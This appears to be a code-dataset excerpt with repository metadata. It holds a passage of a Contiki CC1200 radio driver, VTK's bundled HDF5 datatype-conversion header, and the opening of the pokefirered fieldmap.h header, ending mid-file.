single_write(CC1200_FS_DVC0, 0x17); single_write(CC1200_SERIAL_STATUS, 0x08); #endif strobe(CC1200_STX); while(1) { #if (CC1200_RF_TESTMODE == 1) watchdog_periodic(); RTIMER_BUSYWAIT(RTIMER_SECOND / 10); leds_off(LEDS_YELLOW); leds_on(LEDS_RED); watchdog_periodic(); RTIMER_BUSYWAIT(RTIMER_SECOND / 10); leds_off(LEDS_RED); leds_on(LEDS_YELLOW); #else watchdog_periodic(); RTIMER_BUSYWAIT(RTIMER_SECOND / 10); leds_off(LEDS_GREEN); leds_on(LEDS_RED); watchdog_periodic(); RTIMER_BUSYWAIT(RTIMER_SECOND / 10); leds_off(LEDS_RED); leds_on(LEDS_GREEN); #endif } #elif (CC1200_RF_TESTMODE == 3) /* CS on GPIO3 */ single_write(CC1200_IOCFG3, CC1200_IOCFG_CARRIER_SENSE); single_write(CC1200_IOCFG2, CC1200_IOCFG_SERIAL_CLK); single_write(CC1200_IOCFG0, CC1200_IOCFG_SERIAL_RX); update_cca_threshold(CC1200_RF_CFG.cca_threshold); freq = calculate_freq(CC1200_DEFAULT_CHANNEL - CC1200_RF_CFG.min_channel); single_write(CC1200_FREQ0, ((uint8_t *)&freq)[0]); single_write(CC1200_FREQ1, ((uint8_t *)&freq)[1]); single_write(CC1200_FREQ2, ((uint8_t *)&freq)[2]); strobe(CC1200_SRX); while(1) { watchdog_periodic(); RTIMER_BUSYWAIT(RTIMER_SECOND / 10); leds_off(LEDS_GREEN); leds_on(LEDS_YELLOW); watchdog_periodic(); RTIMER_BUSYWAIT(RTIMER_SECOND / 10); leds_off(LEDS_YELLOW); leds_on(LEDS_GREEN); clock_delay_usec(1000); /* CS on GPIO3 */ if(cc1200_arch_gpio3_read_pin() == 1) { leds_on(LEDS_RED); } else { leds_off(LEDS_RED); } } #endif /* #if CC1200_RF_TESTMODE == ... */ /*************************************************************************** * Set the stuff we need for this driver to work. Don't touch! **************************************************************************/ /* GPIOx configuration */ single_write(CC1200_IOCFG3, GPIO3_IOCFG); single_write(CC1200_IOCFG2, GPIO2_IOCFG); single_write(CC1200_IOCFG0, GPIO0_IOCFG); reg = single_read(CC1200_SETTLING_CFG); /* * Turn of auto calibration. This gives us better control * over the timing (RX/TX & TX /RX turnaround!). We calibrate manually: * - Upon wake-up (on()) * - Before going to TX (transmit()) * - When setting an new channel (set_channel()) */ reg &= ~(3 << 3); #if CC1200_AUTOCAL /* We calibrate when going from idle to RX or TX */ reg |= (1 << 3); #endif single_write(CC1200_SETTLING_CFG, reg); /* Configure RXOFF_MODE */ reg = single_read(CC1200_RFEND_CFG1); reg &= ~(3 << 4); /* RXOFF_MODE = IDLE */ #if RXOFF_MODE_RX reg |= (3 << 4); /* RXOFF_MODE = RX */ #endif reg |= 0x0F; /* Disable RX timeout */ single_write(CC1200_RFEND_CFG1, reg); /* Configure TXOFF_MODE */ reg = single_read(CC1200_RFEND_CFG0); reg &= ~(3 << 4); /* TXOFF_MODE = IDLE */ #if TXOFF_MODE_RX reg |= (3 << 4); /* TXOFF_MODE = RX */ #endif single_write(CC1200_RFEND_CFG0, reg); /* * CCA Mode 0: Always give clear channel indication. * CCA is done "by hand". Keep in mind: automatic CCA would also * affect the transmission of the ACK and is not implemented yet! */ #if CC1200_802154G single_write(CC1200_PKT_CFG2, (1 << 5)); #else single_write(CC1200_PKT_CFG2, 0x00); #endif /* Configure appendix */ reg = single_read(CC1200_PKT_CFG1); #if APPEND_STATUS reg |= (1 << 0); #else reg &= ~(1 << 0); #endif single_write(CC1200_PKT_CFG1, reg); /* Variable packet length mode */ reg = single_read(CC1200_PKT_CFG0); reg &= ~(3 << 5); reg |= (1 << 5); single_write(CC1200_PKT_CFG0, reg); #ifdef FIFO_THRESHOLD /* FIFO threshold */ single_write(CC1200_FIFO_CFG, FIFO_THRESHOLD); #endif } /*---------------------------------------------------------------------------*/ /* Return the radio's state. */ static uint8_t state(void) { #if STATE_USES_MARC_STATE return single_read(CC1200_MARCSTATE) & 0x1f; #else return strobe(CC1200_SNOP) & 0x70; #endif } /*---------------------------------------------------------------------------*/ #if !CC1200_AUTOCAL /* Perform manual calibration. */ static void calibrate(void) { #ifdef RF_FORCE_CALIBRATION if (!(rf_flags & RF_FORCE_CALIBRATION) && ((clock_seconds() - cal_timer) < CC1200_CAL_TIMEOUT_SECONDS)) { /* Timeout not reached, defer calibration... */ return; } rf_flags &= ~RF_FORCE_CALIBRATION; #endif INFO("RF: Calibrate\n"); strobe(CC1200_SCAL); RTIMER_BUSYWAIT_UNTIL_STATE(STATE_CALIBRATE, RTIMER_SECOND / 100); RTIMER_BUSYWAIT_UNTIL_STATE(STATE_IDLE, RTIMER_SECOND / 100); #if CC1200_CAL_TIMEOUT_SECONDS cal_timer = clock_seconds(); #endif } #endif /*---------------------------------------------------------------------------*/ /* Enter IDLE state. */ static void idle(void) { uint8_t s; DISABLE_GPIO_INTERRUPTS(); TX_LEDS_OFF(); RX_LEDS_OFF(); ENERGEST_OFF(ENERGEST_TYPE_LISTEN); ENERGEST_OFF(ENERGEST_TYPE_TRANSMIT); s = state(); if(s == STATE_IDLE) { return; } else if(s == STATE_RX_FIFO_ERR) { WARNING("RF: RX FIFO error!\n"); strobe(CC1200_SFRX); } else if(s == STATE_TX_FIFO_ERR) { WARNING("RF: TX FIFO error!\n"); strobe(CC1200_SFTX); } strobe(CC1200_SIDLE); RTIMER_BUSYWAIT_UNTIL_STATE(STATE_IDLE, RTIMER_SECOND / 100); } /* idle(), 21.05.2015 */ /*---------------------------------------------------------------------------*/ /* Enter RX state. */ static void idle_calibrate_rx(void) { RF_ASSERT(state() == STATE_IDLE); #if !CC1200_AUTOCAL calibrate(); #endif rf_flags &= ~RF_RX_PROCESSING_PKT; strobe(CC1200_SFRX); strobe(CC1200_SRX); RTIMER_BUSYWAIT_UNTIL_STATE(STATE_RX, RTIMER_SECOND / 100); ENABLE_GPIO_INTERRUPTS(); ENERGEST_ON(ENERGEST_TYPE_LISTEN); } /*---------------------------------------------------------------------------*/ /* Restart RX from within RX interrupt. */ static void rx_rx(void) { uint8_t s = state(); if(s == STATE_IDLE) { /* Proceed to rx */ } else if(s == STATE_RX_FIFO_ERR) { WARNING("RF: RX FIFO error!\n"); strobe(CC1200_SFRX); } else if(s == STATE_TX_FIFO_ERR) { WARNING("RF: TX FIFO error!\n"); strobe(CC1200_SFTX); } else { strobe(CC1200_SIDLE); RTIMER_BUSYWAIT_UNTIL_STATE(STATE_IDLE, RTIMER_SECOND / 100); } RX_LEDS_OFF(); rf_flags &= ~RF_RX_PROCESSING_PKT; /* Clear pending GPIO interrupts */ ENABLE_GPIO_INTERRUPTS(); strobe(CC1200_SFRX); strobe(CC1200_SRX); RTIMER_BUSYWAIT_UNTIL_STATE(STATE_RX, RTIMER_SECOND / 100); } /*---------------------------------------------------------------------------*/ /* Fill TX FIFO (if not already done), start TX and wait for TX to complete (blocking!). */ static int idle_tx_rx(const uint8_t *payload, uint16_t payload_len) { #if (CC1200_MAX_PAYLOAD_LEN > (CC1200_FIFO_SIZE - PHR_LEN)) uint8_t to_write; const uint8_t *p; #endif /* Prepare for RX */ rf_flags &= ~RF_RX_PROCESSING_PKT; strobe(CC1200_SFRX); /* Configure GPIO0 to detect TX state */ single_write(CC1200_IOCFG0, CC1200_IOCFG_MARC_2PIN_STATUS_0); #if CC1200_WITH_TX_BUF /* Prepare and write header */ copy_header_to_tx_fifo(payload_len); /* * Fill FIFO with data. If SPI is slow it might make sense * to divide this process into several chunks. * The best solution would be to perform TX FIFO refill * using an interrupt, but we are blocking here (= in TX) anyway... */ #if (CC1200_MAX_PAYLOAD_LEN > (CC1200_FIFO_SIZE - PHR_LEN)) to_write = MIN(payload_len, (CC1200_FIFO_SIZE - PHR_LEN)); burst_write(CC1200_TXFIFO, payload, to_write); bytes_left_to_write = payload_len - to_write; p = payload + to_write; #else burst_write(CC1200_TXFIFO, payload, payload_len); #endif #endif /* CC1200_WITH_TX_BUF */ #if USE_SFSTXON /* Wait for synthesizer to be ready */ RTIMER_BUSYWAIT_UNTIL_STATE(STATE_FSTXON, RTIMER_SECOND / 100); #endif /* Start TX */ strobe(CC1200_STX); /* Wait for TX to start. */ RTIMER_BUSYWAIT_UNTIL((cc1200_arch_gpio0_read_pin() == 1), RTIMER_SECOND / 100); /* Turned off at the latest in idle() */ TX_LEDS_ON(); /* Turned off at the latest in idle() */ ENERGEST_ON(ENERGEST_TYPE_TRANSMIT); if((cc1200_arch_gpio0_read_pin() == 0) && (single_read(CC1200_NUM_TXBYTES) != 0)) { /* * TX didn't start in time. We also check NUM_TXBYES * in case we missed the rising edge of the GPIO signal */ ERROR("RF: TX doesn't start!\n"); #if (CC1200_MAX_PAYLOAD_LEN > (CC1200_FIFO_SIZE - PHR_LEN)) single_write(CC1200_IOCFG2, GPIO2_IOCFG); #endif idle(); /* Re-configure GPIO0 */ single_write(CC1200_IOCFG0, GPIO0_IOCFG); return RADIO_TX_ERR; } #if (CC1200_MAX_PAYLOAD_LEN > (CC1200_FIFO_SIZE - PHR_LEN)) && CC1200_WITH_TX_BUF if(bytes_left_to_write != 0) { rtimer_clock_t t0; uint8_t s; t0 = RTIMER_NOW(); do { if((bytes_left_to_write != 0) && (cc1200_arch_gpio2_read_pin() == 0)) { /* TX TIFO is drained below FIFO_THRESHOLD. Re-fill... */ to_write = MIN(bytes_left_to_write, FIFO_THRESHOLD); burst_write(CC1200_TXFIFO, p, to_write); bytes_left_to_write -= to_write; p += to_write; t0 += CC1200_RF_CFG.tx_pkt_lifetime; } } while((cc1200_arch_gpio0_read_pin() == 1) && RTIMER_CLOCK_LT(RTIMER_NOW(), t0 + CC1200_RF_CFG.tx_pkt_lifetime)); /* * At this point we either left TX or a timeout occurred. If all went * well, we are in RX (or at least settling) now. * If we didn't manage to refill the TX FIFO, an underflow might * have occur-ed - the radio might be still in TX here! */ s = state(); if((s != STATE_RX) && (s != STATE_SETTLING)) { /* * Something bad happened. Wait for radio to enter a * stable state (in case of an error we are in TX here) */ INFO("RF: TX failure!\n"); RTIMER_BUSYWAIT_UNTIL((state() != STATE_TX), RTIMER_SECOND / 100); /* Re-configure GPIO2 */ single_write(CC1200_IOCFG2, GPIO2_IOCFG); idle(); /* Re-configure GPIO0 */ single_write(CC1200_IOCFG0, GPIO0_IOCFG); return RADIO_TX_ERR; } } else { /* Wait for TX to complete */ RTIMER_BUSYWAIT_UNTIL((cc1200_arch_gpio0_read_pin() == 0), CC1200_RF_CFG.tx_pkt_lifetime); } #else /* Wait for TX to complete */ RTIMER_BUSYWAIT_UNTIL((cc1200_arch_gpio0_read_pin() == 0), CC1200_RF_CFG.tx_pkt_lifetime); #endif if(cc1200_arch_gpio0_read_pin() == 1) { /* TX takes to long - abort */ ERROR("RF: TX takes to long!\n"); #if (CC1200_MAX_PAYLOAD_LEN > (CC1200_FIFO_SIZE - PHR_LEN)) /* Re-configure GPIO2 */ single_write(CC1200_IOCFG2, GPIO2_IOCFG); #endif idle(); /* Re-configure GPIO0 */ single_write(CC1200_IOCFG0, GPIO0_IOCFG); return RADIO_TX_ERR; } #if (CC1200_MAX_PAYLOAD_LEN > (CC1200_FIFO_SIZE - PHR_LEN)) /* Re-configure GPIO2 */ single_write(CC1200_IOCFG2, GPIO2_IOCFG); #endif /* Re-configure GPIO0 */ single_write(CC1200_IOCFG0, GPIO0_IOCFG); TX_LEDS_OFF(); ENERGEST_SWITCH(ENERGEST_TYPE_TRANSMIT, ENERGEST_TYPE_LISTEN); return RADIO_TX_OK; } /*---------------------------------------------------------------------------*/ /* Update TX power */ static void update_txpower(int8_t txpower_dbm) { uint8_t reg = single_read(CC1200_PA_CFG1); reg &= ~0x3F; /* Up to now we don't handle the special power levels PA_POWER_RAMP < 3 */ reg |= ((((txpower_dbm + 18) * 2) - 1) & 0x3F); single_write(CC1200_PA_CFG1, reg); txpower = txpower_dbm; } /*---------------------------------------------------------------------------*/ /* Update CCA threshold */ static void update_cca_threshold(int8_t threshold_dbm) { single_write(CC1200_AGC_CS_THR, (uint8_t)threshold_dbm); cca_threshold = threshold_dbm; } /*---------------------------------------------------------------------------*/ /* Calculate FREQ register from channel */ static uint32_t calculate_freq(uint8_t channel) { uint32_t freq; freq = CC1200_RF_CFG.chan_center_freq0 + (channel * CC1200_RF_CFG.chan_spacing) / 1000 /* /1000 because chan_spacing is in Hz */; freq *= FREQ_MULTIPLIER; freq /= FREQ_DIVIDER; return freq; } /*---------------------------------------------------------------------------*/ /* Update rf channel if possible, else postpone it (->pollhandler) */ static int set_channel(uint8_t channel) { uint8_t was_off = 0; uint32_t freq; channel %= (CC1200_RF_CFG.max_channel - CC1200_RF_CFG.min_channel + 1); channel += CC1200_RF_CFG.min_channel; #if 0 /* * We explicitly allow a channel update even if the channel does not change. * This feature can be used to manually force a calibration. */ if(channel == rf_channel) { return rf_channel; } #endif if(channel < CC1200_RF_CFG.min_channel || channel > CC1200_RF_CFG.max_channel) { /* Invalid channel */ return CHANNEL_OUT_OF_LIMITS; } if(SPI_IS_LOCKED() || (rf_flags & RF_TX_ACTIVE) || receiving_packet()) { /* We are busy, postpone channel update */ new_rf_channel = channel; rf_flags |= RF_UPDATE_CHANNEL; process_poll(&cc1200_process); INFO("RF: Channel update postponed\n"); return CHANNEL_UPDATE_POSTPONED; } rf_flags &= ~RF_UPDATE_CHANNEL; INFO("RF: Channel update (%d)\n", channel); if(!(rf_flags & RF_ON)) { was_off = 1; on(); } LOCK_SPI(); idle(); freq = calculate_freq(channel - CC1200_RF_CFG.min_channel); single_write(CC1200_FREQ0, ((uint8_t *)&freq)[0]); single_write(CC1200_FREQ1, ((uint8_t *)&freq)[1]); single_write(CC1200_FREQ2, ((uint8_t *)&freq)[2]); rf_channel = channel; /* Turn on RX again unless we turn off anyway */ if(!was_off) { #ifdef RF_FORCE_CALIBRATION rf_flags |= RF_FORCE_CALIBRATION; #endif idle_calibrate_rx(); } RELEASE_SPI(); if(was_off) { off(); } return CHANNEL_UPDATE_SUCCEEDED; } /*---------------------------------------------------------------------------*/ /* Check broadcast address. */ static int is_broadcast_addr(uint8_t mode, uint8_t *addr) { int i = mode == FRAME802154_SHORTADDRMODE ? 2 : 8; while(i-- > 0) { if(addr[i] != 0xff) { return 0; } } return 1; } /*---------------------------------------------------------------------------*/ static int addr_check_auto_ack(uint8_t *frame, uint16_t frame_len) { frame802154_t info154; if(frame802154_parse(frame, frame_len, &info154) != 0) { /* We received a valid 802.15.4 frame */ if(!(rx_mode_value & RADIO_RX_MODE_ADDRESS_FILTER) || info154.fcf.frame_type == FRAME802154_ACKFRAME || is_broadcast_addr(info154.fcf.dest_addr_mode, (uint8_t *)&info154.dest_addr) || linkaddr_cmp((linkaddr_t *)&info154.dest_addr, &linkaddr_node_addr)) { /* * Address check succeeded or address filter disabled. * We send an ACK in case a corresponding data frame * is received even in promiscuous mode (if auto-ack is * enabled)! */ if((rx_mode_value & RADIO_RX_MODE_AUTOACK) && info154.fcf.frame_type == FRAME802154_DATAFRAME && info154.fcf.ack_required != 0 && (!(rx_mode_value & RADIO_RX_MODE_ADDRESS_FILTER) || linkaddr_cmp((linkaddr_t *)&info154.dest_addr, &linkaddr_node_addr))) { /* * Data frame destined for us & ACK request bit set -> send ACK. * Make sure the preamble length is configured accordingly as * MAC timing parameters rely on this! */ uint8_t ack[ACK_LEN] = { FRAME802154_ACKFRAME, 0, info154.seq }; #if (RXOFF_MODE_RX == 1) /* * This turns off GPIOx interrupts. Make sure they are turned on * in rx_rx() later on! */ idle(); #endif prepare((const uint8_t *)ack, ACK_LEN); idle_tx_rx((const uint8_t *)ack, ACK_LEN); /* rx_rx() will follow */ return ADDR_CHECK_OK_ACK_SEND; } return ADDR_CHECK_OK; } else { return ADDR_CHECK_FAILED; } } return INVALID_FRAME; } /*---------------------------------------------------------------------------*/ /* * The CC1200 interrupt handler: called by the hardware interrupt * handler, which is defined as part of the cc1200-arch interface. */ int cc1200_rx_interrupt(void) { /* The radio's state */ uint8_t s; /* The number of bytes in the RX FIFO waiting for read-out */ uint8_t num_rxbytes; /* The payload length read as the first byte from the RX FIFO */ static uint16_t payload_len; /* * The number of bytes already read out and placed in the * intermediate buffer */ static uint16_t bytes_read; /* * We use an intermediate buffer for the packet before * we pass it to the next upper layer. We also place RSSI + * LQI in this buffer */ static uint8_t buf[CC1200_MAX_PAYLOAD_LEN + APPENDIX_LEN]; /* * If CC1200_USE_GPIO2 is enabled, we come here either once RX FIFO * threshold is reached (GPIO2 rising edge) * or at the end of the packet (GPIO0 falling edge). */ #if CC1200_USE_GPIO2 int gpio2 = cc1200_arch_gpio2_read_pin(); int gpio0 = cc1200_arch_gpio0_read_pin(); if((rf_flags & RF_RX_ONGOING) == 0 && gpio2 > 0) { rf_flags |= RF_RX_ONGOING; sfd_timestamp = RTIMER_NOW(); } if(gpio0 == 0) { rf_flags &= ~RF_RX_ONGOING; } #endif if(SPI_IS_LOCKED()) { /* * SPI is in use. Exit and make sure this * function is called from the poll handler as soon * as SPI is available again */ rf_flags |= RF_POLL_RX_INTERRUPT; process_poll(&cc1200_process); return 1; } rf_flags &= ~RF_POLL_RX_INTERRUPT; LOCK_SPI(); /* * If CC1200_USE_GPIO2 is enabled, we come here either once RX FIFO * threshold is reached (GPIO2 rising edge) * or at the end of the packet (GPIO0 falling edge). */ /* Make sure we are in a sane state. Sane means: either RX or IDLE */ s = state(); if((s == STATE_RX_FIFO_ERR) || (s == STATE_TX_FIFO_ERR)) { rx_rx(); RELEASE_SPI(); return 0; } num_rxbytes = single_read(CC1200_NUM_RXBYTES); if(num_rxbytes == 0) { /* * This might happen from time to time because * this function is also called by the pollhandler and / or * from TWO interrupts which can occur at the same time. */ INFO("RF: RX FIFO empty!\n"); RELEASE_SPI(); return 0; } if(!(rf_flags & RF_RX_PROCESSING_PKT)) { #if CC1200_802154G struct { uint8_t phra; uint8_t phrb; } phr; if(num_rxbytes < PHR_LEN) { WARNING("RF: PHR incomplete!\n"); rx_rx(); RELEASE_SPI(); return 0; } burst_read(CC1200_RXFIFO, (uint8_t *)&phr, PHR_LEN); payload_len = (phr.phra & 0x07); payload_len <<= 8; payload_len += phr.phrb; if(phr.phra & (1 << 4)) { /* CRC16, payload_len += 2 */ payload_len -= 2; } else { /* CRC16, payload_len += 4 */ payload_len -= 4; } #else /* Read first byte in RX FIFO (payload length) */ burst_read(CC1200_RXFIFO, (uint8_t *)&payload_len, PHR_LEN); #endif if(payload_len < ACK_LEN) { /* Packet to short. Discard it */ WARNING("RF: Packet too short!\n"); rx_rx(); RELEASE_SPI(); return 0; } if(payload_len > CC1200_MAX_PAYLOAD_LEN) { /* Packet to long. Discard it */ WARNING("RF: Packet to long!\n"); rx_rx(); RELEASE_SPI(); return 0; } RX_LEDS_ON(); bytes_read = 0; num_rxbytes -= PHR_LEN; rf_flags |= RF_RX_PROCESSING_PKT; /* Fall through... */ } if(rf_flags & RF_RX_PROCESSING_PKT) { /* * Read out remaining bytes unless FIFO is empty. * We have at least num_rxbytes in the FIFO to be read out. */ if((num_rxbytes + bytes_read) > (payload_len + CC_APPENDIX_LEN)) { /* * We have a mismatch between the number of bytes in the RX FIFO * and the payload_len. This would lead to an buffer overflow, * so we catch this error here. */ WARNING("RF: RX length mismatch %d %d %d!\n", num_rxbytes, bytes_read, payload_len); rx_rx(); RELEASE_SPI(); return 0; } burst_read(CC1200_RXFIFO, &buf[bytes_read], num_rxbytes); bytes_read += num_rxbytes; num_rxbytes = 0; if(bytes_read == (payload_len + CC_APPENDIX_LEN)) { /* * End of packet. Read appendix (if available), check CRC * and copy the data from temporary buffer to rx_pkt * RSSI offset already set using AGC_GAIN_ADJUST.GAIN_ADJUSTMENT */ #if APPEND_STATUS uint8_t crc_lqi = buf[bytes_read - 1]; #else int8_t rssi = single_read(CC1200_RSSI1); uint8_t crc_lqi = single_read(CC1200_LQI_VAL); #endif if(!(crc_lqi & (1 << 7))) { /* CRC error. Drop the packet */ INFO("RF: CRC error!\n"); } else if(rx_pkt_len != 0) { /* An old packet is pending. Drop the packet */ WARNING("RF: Packet pending!\n"); } else { int ret = addr_check_auto_ack(buf, bytes_read); if((ret == ADDR_CHECK_OK) || (ret == ADDR_CHECK_OK_ACK_SEND)) { #if APPEND_STATUS /* RSSI + LQI already read out and placed into buf */ #else buf[bytes_read++] = (uint8_t)rssi; buf[bytes_read++] = crc_lqi; #endif rx_pkt_len = bytes_read; memcpy((void *)rx_pkt, buf, rx_pkt_len); rx_rx(); process_poll(&cc1200_process); RELEASE_SPI(); return 1; } else { /* Invalid address. Drop the packet */ } } /* Buffer full, address or CRC check failed */ rx_rx(); RELEASE_SPI(); return 0; } /* if (bytes_read == payload_len) */ } RELEASE_SPI(); return 0; } /*---------------------------------------------------------------------------*/
cff253eec3ca2762d66e1dbb8b3e9149d126754a
820b6af9fd43b270749224bb278e5f714f655ac9
/ThirdParty/hdf5/vtkhdf5/src/H5Tdevelop.h
e642d7c75ee8775ca50f55611c134ccc83afeb75
[ "BSD-3-Clause", "LicenseRef-scancode-hdf5", "LicenseRef-scancode-llnl", "LicenseRef-scancode-unknown-license-reference" ]
permissive
Kitware/VTK
49dee7d4f83401efce8826f1759cd5d9caa281d1
dd4138e17f1ed5dfe6ef1eab0ff6643fdc07e271
refs/heads/master
2023-09-01T10:21:57.496189
2023-09-01T08:20:15
2023-09-01T08:21:05
631,615
2,253
1,243
NOASSERTION
2023-09-14T07:53:03
2010-04-27T15:12:58
C++
UTF-8
C
false
false
8,405
h
H5Tdevelop.h
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Copyright by The HDF Group. * * All rights reserved. * * * * This file is part of HDF5. The full HDF5 copyright notice, including * * terms governing use, modification, and redistribution, is contained in * * the COPYING file, which can be found at the root of the source code * * distribution tree, or in https://support.hdfgroup.org/ftp/HDF5/releases. * * If you do not have access to either file, you may request a copy from * * help@hdfgroup.org. * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* * This file contains public declarations for the H5T (datatype) developer * support routines. */ #ifndef _H5Tdevelop_H #define _H5Tdevelop_H /* Include package's public header */ #include "H5Tpublic.h" /*****************/ /* Public Macros */ /*****************/ /*******************/ /* Public Typedefs */ /*******************/ /** * Commands sent to conversion functions */ typedef enum H5T_cmd_t { H5T_CONV_INIT = 0, /**< query and/or initialize private data */ H5T_CONV_CONV = 1, /**< convert data from source to dest datatype */ H5T_CONV_FREE = 2 /**< function is being removed from path */ } H5T_cmd_t; /** * How is the `bkg' buffer used by the conversion function? */ typedef enum H5T_bkg_t { H5T_BKG_NO = 0, /**< background buffer is not needed, send NULL */ H5T_BKG_TEMP = 1, /**< bkg buffer used as temp storage only */ H5T_BKG_YES = 2 /**< init bkg buf with data before conversion */ } H5T_bkg_t; /** * Type conversion client data */ //! <!-- [H5T_cdata_t_snip] --> typedef struct H5T_cdata_t { H5T_cmd_t command; /**< what should the conversion function do? */ H5T_bkg_t need_bkg; /**< is the background buffer needed? */ hbool_t recalc; /**< recalculate private data */ void * priv; /**< private data */ } H5T_cdata_t; //! <!-- [H5T_cdata_t_snip] --> /** * Conversion function persistence */ typedef enum H5T_pers_t { H5T_PERS_DONTCARE = -1, /**< wild card */ H5T_PERS_HARD = 0, /**< hard conversion function */ H5T_PERS_SOFT = 1 /**< soft conversion function */ } H5T_pers_t; /** * All datatype conversion functions are... */ //! <!-- [H5T_conv_t_snip] --> typedef herr_t (*H5T_conv_t)(hid_t src_id, hid_t dst_id, H5T_cdata_t *cdata, size_t nelmts, size_t buf_stride, size_t bkg_stride, void *buf, void *bkg, hid_t dset_xfer_plist); //! <!-- [H5T_conv_t_snip] --> /********************/ /* Public Variables */ /********************/ /*********************/ /* Public Prototypes */ /*********************/ #ifdef __cplusplus extern "C" { #endif /** * \ingroup CONV * * \brief Registers a datatype conversion function * * \param[in] pers Conversion function type * \param[in] name Name displayed in diagnostic output * \type_id{src_id} of source datatype * \type_id{dst_id} of destination datatype * \param[in] func Function to convert between source and destination datatypes * * \return \herr_t * * \details H5Tregister() registers a hard or soft conversion function for a * datatype conversion path. The parameter \p pers indicates whether a * conversion function is hard (#H5T_PERS_HARD) or soft * (#H5T_PERS_SOFT). User-defined functions employing compiler casting * are designated as \Emph{hard}; other user-defined conversion * functions registered with the HDF5 library (with H5Tregister() ) * are designated as \Emph{soft}. The HDF5 library also has its own * hard and soft conversion functions. * * A conversion path can have only one hard function. When type is * #H5T_PERS_HARD, \p func replaces any previous hard function. * * When type is #H5T_PERS_SOFT, H5Tregister() adds the function to the * end of the master soft list and replaces the soft function in all * applicable existing conversion paths. Soft functions are used when * determining which conversion function is appropriate for this path. * * The \p name is used only for debugging and should be a short * identifier for the function. * * The path is specified by the source and destination datatypes \p * src_id and \p dst_id. For soft conversion functions, only the class * of these types is important. * * The type of the conversion function pointer is declared as: * \snippet this H5T_conv_t_snip * * The \ref H5T_cdata_t \c struct is declared as: * \snippet this H5T_cdata_t_snip * * \since 1.6.3 The following change occurred in the \ref H5T_conv_t function: * the \c nelmts parameter type changed to size_t. * */ H5_DLL herr_t H5Tregister(H5T_pers_t pers, const char *name, hid_t src_id, hid_t dst_id, H5T_conv_t func); /** * \ingroup CONV * * \brief Removes a conversion function * * \param[in] pers Conversion function type * \param[in] name Name displayed in diagnostic output * \type_id{src_id} of source datatype * \type_id{dst_id} of destination datatype * \param[in] func Function to convert between source and destination datatypes * * \return \herr_t * * \details H5Tunregister() removes a conversion function matching criteria * such as soft or hard conversion, source and destination types, and * the conversion function. * * If a user is trying to remove a conversion function he registered, * all parameters can be used. If he is trying to remove a library’s * default conversion function, there is no guarantee the \p name and * \p func parameters will match the user’s chosen values. Passing in * some values may cause this function to fail. A good practice is to * pass in NULL as their values. * * All parameters are optional. The missing parameters will be used to * generalize the search criteria. * * The conversion function pointer type declaration is described in * H5Tregister(). * * \version 1.6.3 The following change occurred in the \ref H5T_conv_t function: * the \c nelmts parameter type changed to size_t. * */ H5_DLL herr_t H5Tunregister(H5T_pers_t pers, const char *name, hid_t src_id, hid_t dst_id, H5T_conv_t func); /** * \ingroup CONV * * \brief Finds a conversion function * * \type_id{src_id} of source datatype * \type_id{dst_id} of destination datatype * \param[out] pcdata Pointer to type conversion data * * \return Returns a pointer to a suitable conversion function if successful. * Otherwise returns NULL. * * \details H5Tfind() finds a conversion function that can handle a conversion * from type \p src_id to type \p dst_id. The \p pcdata argument is a * pointer to a pointer to type conversion data which was created and * initialized by the soft type conversion function of this path when * the conversion function was installed on the path. * */ H5_DLL H5T_conv_t H5Tfind(hid_t src_id, hid_t dst_id, H5T_cdata_t **pcdata); /** * \ingroup CONV * * \brief Check whether the library’s default conversion is hard conversion * * \type_id{src_id} of source datatype * \type_id{dst_id} of destination datatype * * \return \htri_t * * \details H5Tcompiler_conv() determines whether the library’s conversion * function from type \p src_id to type \p dst_id is a compiler (hard) * conversion or not. A compiler conversion uses compiler’s casting; a * library (soft) conversion uses the library’s own conversion * function. * * \since 1.8.0 * */ H5_DLL htri_t H5Tcompiler_conv(hid_t src_id, hid_t dst_id); #ifdef __cplusplus } #endif /* Symbols defined for compatibility with previous versions of the HDF5 API. * * Use of these symbols is deprecated. */ #ifndef H5_NO_DEPRECATED_SYMBOLS #endif /* H5_NO_DEPRECATED_SYMBOLS */ #endif /* _H5Tdevelop_H */
be28d2a238ed3798b771b8e33826b8a2ad052c6b
69db0de8c61c7cba691193edd3f087fdb54351c2
/include/fieldmap.h
a23b6c428a87d1e77e18f1e0a6164ba5c9a77054
[]
no_license
pret/pokefirered
5363c332321c7650d4c85be6aa2e8baf3acda162
f8741615bfa0123e38680f30103f217c269ec96a
refs/heads/master
2023-08-31T15:22:19.498797
2023-08-31T15:15:29
2023-08-31T15:15:29
115,841,713
847
709
null
2023-09-12T22:48:38
2017-12-31T04:07:51
C
UTF-8
C
false
false
2,192
h
fieldmap.h
#ifndef GUARD_FIELDMAP_H #define GUARD_FIELDMAP_H #include "global.h" #define NUM_TILES_IN_PRIMARY 640 #define NUM_TILES_TOTAL 1024 #define NUM_METATILES_IN_PRIMARY 640 #define NUM_METATILES_TOTAL 1024 #define NUM_PALS_IN_PRIMARY 7 #define NUM_PALS_TOTAL 13 #define MAX_MAP_DATA_SIZE 0x2800 #define VIRTUAL_MAP_SIZE (MAX_MAP_DATA_SIZE) // Map coordinates are offset by 7 when using the map // buffer because it needs to load sufficient border // metatiles to fill the player's view (the player has // 7 metatiles of view horizontally in either direction). #define MAP_OFFSET 7 #define MAP_OFFSET_W (MAP_OFFSET * 2 + 1) #define MAP_OFFSET_H (MAP_OFFSET * 2) extern struct BackupMapLayout VMap; extern const struct MapLayout Route1_Layout; u32 MapGridGetMetatileIdAt(s32, s32); u32 MapGridGetMetatileBehaviorAt(s16, s16); u8 MapGridGetMetatileLayerTypeAt(s16 x, s16 y); void MapGridSetMetatileIdAt(s32, s32, u16); void MapGridSetMetatileEntryAt(s32, s32, u16); u8 MapGridGetElevationAt(s32 x, s32 y); void GetCameraCoords(u16 *, u16 *); bool8 MapGridGetCollisionAt(s32, s32); s32 GetMapBorderIdAt(s32, s32); bool32 CanCameraMoveInDirection(s32); const struct MapHeader * GetMapHeaderFromConnection(const struct MapConnection * connection); const struct MapConnection * GetMapConnectionAtPos(s16 x, s16 y); void ApplyGlobalTintToPaletteSlot(u8 slot, u8 count); void SaveMapView(void); u32 ExtractMetatileAttribute(u32 attributes, u8 attributeType); u32 MapGridGetMetatileAttributeAt(s16 x, s16 y, u8 attributeType); void MapGridSetMetatileImpassabilityAt(s32 x, s32 y, bool32 arg2); bool8 CameraMove(s32 x, s32 y); void CopyMapTilesetsToVram(struct MapLayout const * mapLayout); 